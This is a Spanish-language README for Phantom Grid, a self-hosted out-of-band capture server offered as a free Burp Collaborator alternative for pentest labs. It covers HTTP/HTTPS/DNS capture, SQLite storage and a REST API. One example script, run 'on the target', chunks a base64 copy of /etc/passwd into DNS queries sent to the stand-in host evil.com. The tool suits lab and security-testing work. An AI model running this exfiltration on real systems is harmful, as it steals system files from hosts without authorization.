Alternativa gratuita a Burp Collaborator: captura de interacciones OOB (HTTP/HTTPS/DNS) con SQLite y reensamblado de exfiltración
Alternativa gratuita y de código abierto a Burp Collaborator para laboratorios de pruebas de penetración
Captura de interacciones Out-of-Band (OOB) · HTTP/HTTPS · DNS · SQLite · Reensamblado de exfiltración
Phantom Grid es una herramienta autoalojada de captura de interacciones OOB (Out-of-Band) — una alternativa gratuita a Burp Collaborator para resolver laboratorios de pruebas de penetración (PortSwigger Web Security Academy, HackTheBox, TryHackMe, etc.).
| Característica | Descripción |
|---|---|
| Captura HTTP + HTTPS | Doble pila con certificados TLS autofirmados generados automáticamente |
| Captura DNS | Servidor DNS integrado en el puerto 53 |
| Reensamblado de exfiltración DNS | Reensamblado automático de fragmentos a partir de exfiltración DNS en múltiples partes |
| Persistencia en SQLite | Todos los datos sobreviven a los reinicios del servidor (modo WAL para rendimiento) |
| Más de 40 plantillas de payloads | SSRF, XXE, SQLi OOB, CMDi, SSTI, exfiltración DNS — listas para copiar |
| Panel táctico | Interfaz de centro de mando con monitoreo en tiempo real |
| Listo para Docker | Despliegue con un solo comando |
| API REST | API completa de gestión de tokens/interacciones/exfiltración |
git clone https://github.com/YOUR_USERNAME/phantom-grid.git
cd phantom-grid
pip install -r server/requirements.txt
# HTTP only
python server/server.py
# HTTP + HTTPS (auto-generates self-signed cert)
python server/server.py --https
# Full stack (requires sudo for DNS port 53)
sudo python server/server.py --https --dns
git clone https://github.com/YOUR_USERNAME/phantom-grid.git
cd phantom-grid
docker compose up -d
python server/server.py --https &
ngrok http 9090
# Use the ngrok HTTPS URL in your payloads
┌──────────────────────────────────────────────────────────────┐
│ PHANTOM GRID v2.0 │
│ │
│ ┌─────────────┐ ┌─────────────────────────────────┐ │
│ │ Dashboard │─API─▶│ Flask Server │ │
│ │ (React) │ │ │ │
│ └─────────────┘ │ :9090 HTTP capture + API │ │
│ │ :9443 HTTPS capture + API │ │
│ ┌─────────────┐ │ :53 DNS capture │ │
│ │ Target App │─────▶│ │ │
│ └─────────────┘ └──────────┬──────────────────────┘ │
│ │ │
│ ┌──────────▼──────────┐ │
│ │ SQLite Database │ │
│ │ phantom_grid.db │ │
│ │ │ │
│ │ tokens │ │
│ │ interactions │ │
│ │ dns_exfil_sessions │ │
│ │ dns_exfil_chunks │ │
│ └─────────────────────┘ │
│ │
└──────────────────────────────────────────────────────────────┘
Las aplicaciones modernas a menudo bloquean solicitudes de contenido mixto (http:// desde páginas https://). Phantom Grid v2.0 ejecuta HTTPS junto con HTTP.
python server/server.py --https
# Generates certs/server.pem + certs/server.key automatically
# HTTPS available at https://0.0.0.0:9443
python server/server.py --https \
--cert /etc/letsencrypt/live/yourdomain/fullchain.pem \
--key /etc/letsencrypt/live/yourdomain/privkey.pem
python server/server.py &
ngrok http 9090
# ngrok provides a trusted HTTPS URL automatically
Phantom Grid reensambla automáticamente los datos de exfiltración DNS fragmentados. Esto es fundamental para extraer payloads grandes que deben dividirse en múltiples consultas DNS (etiquetas limitadas a 63 bytes).
| Formato | Ejemplo | Caso de uso |
|---|---|---|
| Simple | data.TOKEN.domain | Exfiltración de un solo valor |
| Indexado | 0.chunk1.TOKEN.domain | Sesión automática, fragmentos ordenados |
| Etiquetado | sess1.0.chunk1.TOKEN.domain | Sesión con nombre y orden |
| Señal de fin | end.sess1.TOKEN.domain | Marcar sesión como completa |
/etc/passwd vía DNSEn el objetivo:
# Split file into 50-byte base64 chunks and send via DNS
data=$(base64 /etc/passwd | tr -d '\n')
token="a1b2c3d4e5f6"
domain="evil.com"
i=0
while [ -n "$data" ]; do
chunk=$(echo "$data" | cut -c1-50)
data=$(echo "$data" | cut -c51-)
nslookup "exfil.$i.$chunk.$token.$domain" >/dev/null 2>&1
i=$((i+1))
done
nslookup "end.exfil.$token.$domain" >/dev/null 2>&1
Ver los datos reensamblados:
curl http://localhost:9090/api/tokens/a1b2c3d4e5f6/exfil
Respuesta:
[{
"session_tag": "exfil",
"completed": 1,
"chunk_count": 12,
"reassembled": "cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYm..."
}]
Todos los datos se almacenan en phantom_grid.db usando el modo WAL de SQLite para un rendimiento de lectura/escritura concurrente.
phantom_grid.db
├── tokens — Token metadata
├── interactions — All HTTP/DNS captures
├── dns_exfil_sessions — Grouped exfil sessions
└── dns_exfil_chunks — Individual exfil data chunks
Los datos sobreviven a los reinicios del servidor. Realice copias de seguridad copiando phantom_grid.db.
| Método | Endpoint | Descripción |
|---|---|---|
GET | /api/tokens | Listar todos los tokens con estadísticas |
POST | /api/tokens | Crear token {"label": "...", "notes": "..."} |
PATCH | /api/tokens/<id> | Actualizar etiqueta/notas del token |
DELETE | /api/tokens/<id> | Eliminar token + todos los datos (CASCADE) |
| Método | Endpoint | Descripción |
|---|---|---|
GET | /api/tokens/<id>/interactions?limit=&offset= | Obtener interacciones del token |
DELETE | /api/tokens/<id>/interactions | Borrar interacciones |
GET | /api/log?limit= | Registro global (todos los tokens) |
GET | /api/poll?since=<ISO> | Consultar nuevas interacciones |
| Método | Endpoint | Descripción |
|---|---|---|
GET | /api/tokens/<id>/exfil | Obtener sesiones de exfiltración con datos reensamblados |